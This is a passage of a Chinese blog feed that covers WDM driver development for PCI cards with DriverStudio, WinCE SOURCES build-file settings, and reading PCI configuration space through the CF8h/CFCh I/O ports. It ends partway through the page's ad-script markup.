<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">图<span lang=EN-US>2</span>给出了<span lang=EN-US>Windows2000</span>操作系统驱动程序开发者所关心的特征，一般情况下，软件要么在用户模式中执行，要么在内核模式下执行。从驱动开发的角度上看，<span lang=EN-US>WDM</span>模型为存在于<span lang=EN-US>Win-dows2000</span>系统中的驱动程序提供了一个参考框架。作为<span lang=EN-US>Windows2000</span>系统结构开发人员，由于操作系统为应用程序，而在驱动程序和硬件之间提供有系统服务接口和平台相关操作，因此，设计时只需要关注应用程序和设备驱动程序的开发。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><strong><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">2.2 </span></strong><strong><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">设备资源</span></strong><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt"> <o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">PCI</span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">设备的硬件资源分配与管理是驱动程序很重要的部分，设备的硬件资源包括内存空间、<span lang=EN-US>I</span>／<span lang=EN-US>O</span>空间和中断。由于<span lang=EN-US>PCI</span>总线为<span lang=EN-US>PnP</span>总线，<span lang=EN-US>PCI</span>设备的硬件资源是由<span lang=EN-US>PCI</span>配置机构动态分配给<span lang=EN-US>PCI</span>配置寄存器的，因此，驱动程序首先需要取得这些资源才能操作硬件。当<span lang=EN-US>PnP</span>管理器检测到<span lang=EN-US>PCI</span>设备时，系统就会发送<span lang=EN-US>IRP_MN_START_DEVICE</span>的<span lang=EN-US>IRP</span>给驱动程序，驱动程序调用<span lang=EN-US>OnStartDevice</span>以启动例程处理，并在启动例程里获取该<span lang=EN-US>IRP</span>栈，同时把它包含的系统分配给该设备的资源信息。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">用<span lang=EN-US>DriverStudio</span>开发驱动程序时，应在<span lang=EN-US>Wizard</span>中设置好<span lang=EN-US>PCI</span>设备的资源。对于实际的<span lang=EN-US><a title=PCI9052货源和PDF资料 href="http://www.ic37.com/PCI9052-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">PCI9052</span></a></span>设备卡，其基地址寄存器<span lang=EN-US>0</span>和<span lang=EN-US>1</span>分别固定用于<span lang=EN-US><a title=PCI9052货源和PDF资料 href="http://www.ic37.com/PCI9052-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">PCI9052</span></a></span>局部寄存器的内存映射地址和<span lang=EN-US>I</span>／<span lang=EN-US>O</span>映射地址，基地址寄存器<span lang=EN-US>2</span>则用于设备卡的内存映射地址，并使用局部中断引脚来产生<span lang=EN-US>PCI</span>中断，以分别生成对应的<span lang=EN-US>KIoRange</span>类、<span lang=EN-US>KMemoryRange</span>类和<span lang=EN-US>KInterrupt</span>类。这些配置信息由配置管理器发送到<span lang=EN-US>OnStartDevice</span>中重载该成员函数，而开发者则不必再处理。在一般情况下，驱动程序无需再访问<span lang=EN-US>PCI</span>设备的配置空间，如果需要访问，则可通过类<span lang=EN-US>KPciConfiguration</span>，该类包含了通过向<span lang=EN-US>PCI</span>总线发送渎写配置空间的<span lang=EN-US>IRP</span>操作。也可定义类<span lang=EN-US>KRe-sourceAssignment</span>来获取<span lang=EN-US>PCI</span>的端口地址和中断号以及内存地址和大小，并把得到的资源放在用户自己定义的变量中。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><strong><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">2.3 WDM</span></strong><strong><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">驱动程序对硬件资源的访问</span></strong><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt"> <o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">获取设备的硬件资源以后，就可以对硬件资源进行访问了。对硬件的访问一般包括<span lang=EN-US>I</span>／<span lang=EN-US>O</span>端口访问和内存访问，它们分别对应<span lang=EN-US>PCI</span>配置空间的<span lang=EN-US>I</span>／<span lang=EN-US>O</span>空间和内存空间。从图<span lang=EN-US>2</span>可以看出，当应用程序需要访问设备时，它就会调用<span lang=EN-US>Win32API</span>函数<span lang=EN-US>(</span>如<span lang=EN-US>ReadFile)</span>。<span lang=EN-US>Win32</span>子系统模块通过调用平台相关的系统服务接口实现该<span lang=EN-US>API</span>，而平台相关的系统服务则调用内核模式来支持例程。即在调用<span lang=EN-US>ReadFile</span>函数时，首先到达系统的人口点，然后调用系统服务接口，最后由系统调用内核模式的服务例程。执行时首先检查传递给它们的参数，然后创建一个<span lang=EN-US>&#8220;I</span>／<span lang=EN-US>O</span>请求包<span lang=EN-US>(IRP)&#8221;</span>的数据结构，并把这个数据结构送到某个驱动程序的入口点执行<span lang=EN-US>IRP</span>设备驱动程序，最后再访问硬件。对于<span lang=EN-US>PIO</span>方式的设备，一个<span lang=EN-US>IRP_MJ_READ</span>操作将直接读取设备的端口或设备的内存寄存器。一般会使用硬件抽象层<span lang=EN-US>(HAL)</span>来访问硬件。<span lang=EN-US>IRP</span>贯穿于驱动程序之间，它在应用程序、驱动程序和设备之间起着桥梁作用，可称之为内核态的<span lang=EN-US>&#8220;</span>消息<span lang=EN-US>&#8221;</span>。驱动程序完成一个<span lang=EN-US>I</span>／<span lang=EN-US>O</span>操作后，可通过调用一个特殊内核模式服务例程来完成该<span lang=EN-US>IRP</span>，完成操作时再处理<span lang=EN-US>IRP</span>的最后工作，以它使等待的应用程序恢复运行。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">用<span lang=EN-US>DriverStudio</span>开发驱动程序时，可根据配置声明<span lang=EN-US>KIoRange</span>类、<span lang=EN-US>KMemoryRange</span>类和<span lang=EN-US>KInterrupt</span>类来实现对内存空间、<span lang=EN-US>I</span>／<span lang=EN-US>O</span>空间、中断的操作。在本例中，基地址寄存器<span lang=EN-US>0</span>和<span lang=EN-US>1</span>固定用于<span lang=EN-US><a title=PCI9052货源和PDF资料 href="http://www.ic37.com/PCI9052-p.htm" target=_blank><span style="COLOR: #00007f; TEXT-DECORATION: none; mso-bidi-font-size: 12.0pt; text-underline: none">PCI9052</span></a></span>芯片的操作寄存器内存映射地址和<span lang=EN-US>I</span>／<span lang=EN-US>O</span>映射地址，基地址寄存器<span lang=EN-US>2</span>则用于双口<span lang=EN-US>RAM</span>的内存映射。通过一个外部引脚即可产生中断。标识两个<span lang=EN-US>KMem-oryRange</span>类实例、一个<span lang=EN-US>KIoRange</span>类实例和一个<span lang=EN-US>KInterrupt</span>类实例的具体实现细节如下：<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">(1) I</span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">／<span lang=EN-US>O</span>端口的访问<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">I</span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">／<span lang=EN-US>O</span>端口的访问流程如图<span lang=EN-US>3</span>所示，应用程序通过<span lang=EN-US>API</span>函数<span lang=EN-US>DeviceIoControl</span>的调用，并调用驱动程序的分发例程<span lang=EN-US>DeviceControl</span>，同时通过<span lang=EN-US>KIoRange</span>类来实现对<span lang=EN-US>I</span>／<span lang=EN-US>O</span>映射空间的访问。需要注意的是，当<span lang=EN-US>DeviceloControl</span>异步调用的时候，必须在驱动程序中添加取消例程，并在<span lang=EN-US>DeviceControl</span>例程中阻止一个应用程序对其的多次调用。<span lang=EN-US>KIoRange</span>类的成员函数<span lang=EN-US>outb</span>、<span lang=EN-US>inb</span>、<span lang=EN-US>outw</span>、<span lang=EN-US>inw</span>、<span lang=EN-US>ind</span>、<span lang=EN-US>outd</span>可分别用于从端口读或写一个字节、字和双字数据。在<span lang=EN-US>WDM</span>中，对于<span lang=EN-US>I</span>／<span lang=EN-US>O</span>端口，系统可将其看成寄存器，一般用于数字传输量比较小的地方。在对<span lang=EN-US>PCI</span>设备的访问中，<span lang=EN-US>I</span>／<span lang=EN-US>O</span>端口的访问通常比较频繁。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">(2) </span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">内存的访问<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">在基于<span lang=EN-US>DriverStudio</span>开发的驱动程序中，向存储器空间读写大量数据一般选用<span lang=EN-US>Write</span>／<span lang=EN-US>Read</span>函数，但对于一个实际存在的物理设备的访问，在某一时刻只能进行一个操作，因而在访问内存对象的时候，一般都要求一个<span lang=EN-US>IRP</span>排队的队列，可通过设备类的成员函数<span lang=EN-US>QueueIrp</span>将<span lang=EN-US>IRP</span>插入队列。<span lang=EN-US>DriverWorks</span>提供有<span lang=EN-US>KDeviceQueue</span>类，其成员函数<span lang=EN-US>StartIo</span>用于处理设备对象的<span lang=EN-US>IRP</span>队列。具体的操作是通过<span lang=EN-US>KMemoryRange</span>类来实现对设备内存映射空间的访问。其访问流程见图<span lang=EN-US>4</span>所示。需要注意的是，当<span lang=EN-US>IRP</span>队列为空时，调用<span lang=EN-US>QueueIrp</span>时，系统将同步调用<span lang=EN-US>StartIo</span>函数。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">(3) </span><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">中断处理<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">驱动程序的中断处理编程涉及到内核机制比较多的一种驱动程序，因而相对复杂。首先用中断服务程序提升系统的<span lang=EN-US>IRQL</span>，但不能进行大多数有用的内核调用。另外，提升<span lang=EN-US>IRQL</span>运行代码需要尽可能快地运行。所以，中断处理一般和在<span lang=EN-US>DIS-PATCH_LEVEL</span>级运行的延迟调用<span lang=EN-US>(DPC)</span>例程相配合可解决以上两个问题。在<span lang=EN-US>DriverWorks</span>中，通常通过<span lang=EN-US>KInterrupt</span>类和<span lang=EN-US>KDeferredCall</span>类来实现，并通过向导来在中断服务例程和<span lang=EN-US>DPC</span>中增加功能代码。<span lang=EN-US>KDeferredCall</span>类封装有<span lang=EN-US>DPC</span>的操作。<span lang=EN-US>KInter-rupt</span>类用于实现硬件中断的处理，其成员函数包括中断初始化，以及将一个中断服务例程连接到另一个中断和解除其连接等。在中断服务例程中把<span lang=EN-US>IRP</span>交给<span lang=EN-US>DPC</span>例程，可在<span lang=EN-US>DPC</span>处理完后结束该<span lang=EN-US>IRP</span>。需要注意的是，中断服务例程不是<span lang=EN-US>KInter-rupt</span>类的成员函数，它的主要作用是减少中断延迟时间。<span lang=EN-US> <o:p></o:p></span></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt; WORD-BREAK: break-all; TEXT-INDENT: 24pt; LINE-HEIGHT: 18pt; TEXT-ALIGN: left; mso-pagination: widow-orphan; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto" align=left><strong><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">3 </span></strong><strong><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">结束语</span></strong><span lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt"> <o:p></o:p></span></p>
<p class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><span style="FONT-FAMILY: 宋体; mso-bidi-font-size: 10.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt">本文主要从访问设备硬件资源的角度介绍了<span lang=EN-US>PCI</span>配置空间的配置和驱动程序的开发方法。利用该方法可对<span lang=EN-US>PCI</span>板卡的配置空间和所需的硬件资源进行正确设置，然后通过<span lang=EN-US>DriverStudio</span>的驱动程序向导生成工具在程序框架里添加适当的代码，最后借助于<span lang=EN-US>DriverStudio</span>开发包提供的调试工具<span lang=EN-US>SoftICE</span>和<span lang=EN-US>DriverMonitor</span>以及由<span lang=EN-US>Wizard</span>产生的控制台应用程序，来快速开发出基于<span lang=EN-US>PCI</span>总线的设备驱动程序。</span></p>
<img src ="http://www.cppblog.com/binghuo/aggbug/76363.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-12 19:46 <a href="http://www.cppblog.com/binghuo/archive/2009/03/12/76363.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SOURCES文件详解 </title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76079.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 01:00:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76079.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76079.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76079.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76079.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76079.html</trackback:ping><description><![CDATA[<p class=MsoNormal><span lang=EN-US>SOURCES</span><span style="FONT-FAMILY: 宋体">文件是</span><span lang=EN-US>WINCE</span><span style="FONT-FAMILY: 宋体">底层开发中最重要的文件之一</span><span lang=EN-US>,</span><span style="FONT-FAMILY: 宋体">主要的配置项如下</span><span lang=EN-US>:</span></p>
<p class=MsoNormal><span lang=EN-US><o:p></o:p></span></p>
<p class=MsoNormal><span lang=EN-US><o:p></o:p>TARGETNAME,</span><span style="FONT-FAMILY: 宋体">定义模块名称</span><span lang=EN-US>.<br>TARGETTYPE,</span><span style="FONT-FAMILY: 宋体">模块的种类</span><span lang=EN-US>,</span><span style="FONT-FAMILY: 宋体">可以是</span><span lang=EN-US>DYNLINK, LIBRARY,EXE.<br></span><span style="FONT-FAMILY: 宋体">如果</span><span lang=EN-US>TARGETTYPE</span><span style="FONT-FAMILY: 宋体">是</span><span lang=EN-US>DLL,</span><span style="FONT-FAMILY: 宋体">则可以定义</span><span lang=EN-US>DLLENTRY,</span><span style="FONT-FAMILY: 宋体">将</span><span lang=EN-US>Dll</span><span style="FONT-FAMILY: 宋体">入口定义成别的不是</span><span lang=EN-US>DLLMain</span><span style="FONT-FAMILY: 宋体">的函数</span><span lang=EN-US>,</span><span style="FONT-FAMILY: 宋体">如果</span><span lang=EN-US>DLL</span><span style="FONT-FAMILY: 宋体">的入口是</span><span lang=EN-US>DllMain</span><span style="FONT-FAMILY: 宋体">，则不需要别的定义。</span><span lang=EN-US><br></span><span style="FONT-FAMILY: 宋体">如果</span><span lang=EN-US>TARGETTYPE</span><span style="FONT-FAMILY: 宋体">是</span><span lang=EN-US>EXE,</span><span style="FONT-FAMILY: 宋体">则可以定义</span><span lang=EN-US>EXEENTRY,</span><span style="FONT-FAMILY: 宋体">用于指定</span><span lang=EN-US>EXE</span><span style="FONT-FAMILY: 宋体">的入口函数</span><span lang=EN-US>. </span></p>
<p class=MsoNormal><span style="FONT-FAMILY: 宋体">如果</span><span lang=EN-US>TARGETTYPE</span><span style="FONT-FAMILY: 宋体">是</span><span lang=EN-US>LIBRARY,</span><span style="FONT-FAMILY: 宋体">则不需要定义入口函数。</span></p>
<p class=MsoNormal><span lang=EN-US><o:p></o:p><br>INCLUDES</span><span style="FONT-FAMILY: 宋体">，如果一个模块需要使用非标准路径下的头文件时</span><span lang=EN-US>,</span><span style="FONT-FAMILY: 宋体">需要定义</span><span lang=EN-US>INCLUDES,</span><span style="FONT-FAMILY: 宋体">用于包含更多的头文件路径</span><span lang=EN-US>,</span><span style="FONT-FAMILY: 宋体">用法如下</span><span lang=EN-US>:<br><br>INCLUDES=$(INCLUDES);\new directory\...,</span><span style="FONT-FAMILY: 宋体">注意定义新的</span><span lang=EN-US>INCLUDES</span><span style="FONT-FAMILY: 宋体">时</span><span lang=EN-US>,</span><span style="FONT-FAMILY: 宋体">需要包含</span><span lang=EN-US>INCLUDES</span><span style="FONT-FAMILY: 宋体">原来的值，否则就需要包含所有可能的目录。</span><span lang=EN-US><br><br>TARGETLIBS,SOURCELIBS</span><span style="FONT-FAMILY: 宋体">用于定义该模块需要链接哪些库文件</span><span lang=EN-US>.</span></p>
<p class=MsoNormal><span lang=EN-US><o:p></o:p><br>TARGETLIBS</span><span style="FONT-FAMILY: 宋体">，如果一个库以</span><span lang=EN-US>DLL</span><span style="FONT-FAMILY: 宋体">的形式提供给调用者，就需要用</span><span lang=EN-US>TARGETLIBS</span><span style="FONT-FAMILY: 宋体">，它只链接一个函数地址，系统执行时会将被链接的库加载。比如</span><span lang=EN-US>coredll.lib</span><span style="FONT-FAMILY: 宋体">就是这样的库文件。即动态链接。</span></p>
<p class=MsoNormal><span lang=EN-US>SOURCELIBS</span><span style="FONT-FAMILY: 宋体">，将库中的函数实体链接进来。即静态链接，用到的函数会在我们的文件中形成一份拷贝。</span></p>
<p class=MsoNormal><span lang=EN-US><o:p></o:p></span><br><span style="FONT-FAMILY: 宋体">注意，内核这个执行文件是没有</span><span lang=EN-US>TARGETLIBS</span><span style="FONT-FAMILY: 宋体">的，</span><span lang=EN-US>GIISR.DLL</span><span style="FONT-FAMILY: 宋体">也不能有</span><span lang=EN-US>TARGETLIBS</span><span style="FONT-FAMILY: 宋体">。</span></p>
<p class=MsoNormal><span lang=EN-US><br>WINCECOD,</span><span style="FONT-FAMILY: 宋体">如果将其定义为</span><span lang=EN-US>1,</span><span style="FONT-FAMILY: 宋体">则编译器会为每一个文件生成</span><span lang=EN-US>.cod</span><span style="FONT-FAMILY: 宋体">文件</span><span lang=EN-US>,</span><span style="FONT-FAMILY: 宋体">它是一个汇编文件，调试时查看汇编代码也是一种很好的办法。</span><span lang=EN-US><br><br>SOURCES,</span><span style="FONT-FAMILY: 宋体">定义该模块需要哪些源文件</span><span lang=EN-US>.</span></p>
<img src ="http://www.cppblog.com/binghuo/aggbug/76079.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 09:00 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76079.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用I/O命令访问PCI总线设备配置空间</title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76077.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 00:52:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76077.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76077.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76077.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76077.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76077.html</trackback:ping><description><![CDATA[<font size=2><strong>关键词</strong>：PCI总线 配置空间 操作系统<br>转自：</font><a href="http://topdzh.byethost4.com/viewthread.php?tid=48&amp;extra=page%3D1"><u><font color=#0000ff size=2>http://topdzh.byethost4.com/viewthread.php?tid=48&amp;extra=page%3D1</font></u></a><br><br><font size=2>PCI总线推出以来，以其独有的特性受到众多厂商的青睐，已经成为计算机扩展总线的主流。目前，国内的许多技术人员已经具备开发PCI总线接口设备的能 力。但是PCI总线的编程技术，也就是对PCI总线设备的操作技术，一直是一件让技术人员感到头疼的事情。PCI总线编程的核心技术是对相应板卡配置空间 的理解和访问。一般软件编程人员基于对硬件设备原理的生疏，很难理解并操作配置空间，希望硬件开发人员直接告诉他们怎样操作；而PCI总线硬件开发人员虽 深刻地理解了其意义，在没有太多编程经验地前提下，也难于轻易地操作PCI板卡。结果大多是硬件技术人员花费大量时间和精力去学习DDK、 WINDRVER等驱动程序开发软件。<br><br>作者在开发PCI总线接口设备时，经过对PCI总线协议的深入研究，从协议本身的角度出发，找到一种方面而快捷的PCI配置空间操作方法，只使用简单的 I/O命令即可找到特定的PCI总线设备并对其所有的配置空间进行读写操作。一旦读得其配置空间的内容，即可中得到担任系统对该PCI总线设备的资源分 配。<br><br>1 PCI总线配置空间及配置机制<br><br>为避免各PCI设备在资源的占用上发生冲突，PCI总线采用即插即用协议。即在系统建立时由操作系统按照各设备的要求统一分配资源，资源分配的信息由系统 写入各PCI设备的配置空间寄存器，并在操作系统内部备份。各PCI设备有其独自的配置空间，设计者通过对积压设备（或插槽）的ISDEL引脚的驱动区分 不同设备的配置空间。配置空间的前64个字节称为配置空间的预定自区，它对每个设备都具有相同的定义且必须被支持；共后的空间称为设备关联区，由设备制造 商根据需要定义。与编程有关的配置空间信息主要有：<br><br>（1）设备号（Device ID）及销售商号（Vendor ID），配置空间偏移量为00h，用于对各PCI设备的区分和查找。为了保证其唯一性，Vendor ID应当向PCI特别兴趣小组（PCI SIG）申请而得到。<br><br>（2）PCI基地址（PCI Base Address），配置空间偏移量为10～24h，设备通过设定可读写的高位数值来向操作系统指示所需资源空间的大小。比如，某设备需要64K字节的内存 空间，可以将配置空间的某基地址寄存器的高16位设成可读写的，而将低16位置为0（只可读）。操作系统在建立时，先向所有位写1，实际上只有高16位被 接收而被置成了1，低16位仍为0.这样操作系统读取该寄存器时，返回值为FFFF0000h，据此操作系统可以断定其需要的空间大小是64K字节，然后 分配一段空闲的内存空间并向该寄存器的高16位填写其地址。<br><br>其它可能与编程有关的配置空间的定义及地址请参阅参考文献[1]。<br><br>由于PC-AT兼容系统CPU只有内存和I/O两种空间，没有专用的配置空间，PCI协议规定利用特定的I/O空间操作驱动PCI桥路转换成配置空间的操 作。目前存在两种转换机制，即配置机制1#和配置机制2#。配置机制2#在新的设计中将不再被采用，新的设计应使用配置机制1#来产生配置空间的物理操 作。这种机制使用了两个特定的32位I/O空间，即CF8h和CFCh。这两个空间对应于PCI桥路的两个寄存器，当桥路看到CPU在局部总线对这两个 I/O空间进行双字操作时，就将该I/O操作转变为PCI总线的配置操作。寄存器CF8h用于产生配置空间的地址（CONFIG-ADDRESS），寄存 器CFCh用于保存配置空间的读写数据（CONFIG-DATA）。<br><br>配置空间地址寄存器的格式如图1。<br><img alt="" src="http://p.blog.csdn.net/images/p_blog_csdn_net/fengyv/2a.gif"><br><br></font><span style="FONT-SIZE: 12px"><font color=#000000><font size=2>CF8H（局部总线）：<br><br>当CPU发出对I/O空间CFCh的操作时，PCI桥路将检查配置空间地址寄存器CF8h的31位。如果为1，就在PCI总线上产生一个相应的配置空间读或写操作，其地址由PCI桥路根据配置空间地址寄存器的内容作如图2所示的转换。<br><br>CFCh (局部总线)：<br><br>设备号被PCI桥路译码产生PCI总线地址的高位地址，它们被设计者用作IDSEL信号来区分相应的PCI设备。6位寄存器号用于寻址该PCI设备配置空 间62个双字的配置寄存器（256字节）。功能号用于区分多功能设备的某特定功能的配置空间，对常用的单功能设备为000。某中PCI插槽的总线号随系统 （主板）的不同稍有区别，大多数PC机为1，工控机可能为2或3。为了找到某设备，应在系统的各个总线号上查找，直到定位。如果在0～5号总线上不能发现 该设备，即可认为该设备不存在。<br><br>理解了上述PCI协议里的配置机制后，就可以直接对CF8h和CFCh两个双字的I/O空间进行操作，查找某个PCI设备并访问其配置空间，从而得到操作系统对该PCI设备的资源分配。<br><script type=text/javascript><!--google_ad_client = "pub-2299987709779770";google_ad_width = 468;google_ad_height = 60;google_ad_format = "468x60_as";google_ad_type = "image";google_ad_channel ="";google_color_border = "FFFFFF";google_color_bg = "FFFFFF";google_color_link = "0000FF";google_color_url = "008000";google_color_text = "000000";//--></script><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type=text/javascript></script><script src="http://googleads.g.doubleclick.net/pagead/test_domain.js"></script><script src="http://pagead2.googlesyndication.com/pagead/render_ads.js"></script><script>window.google_render_ad();</script></font><iframe name=google_ads_frame marginWidth=0 marginHeight=0 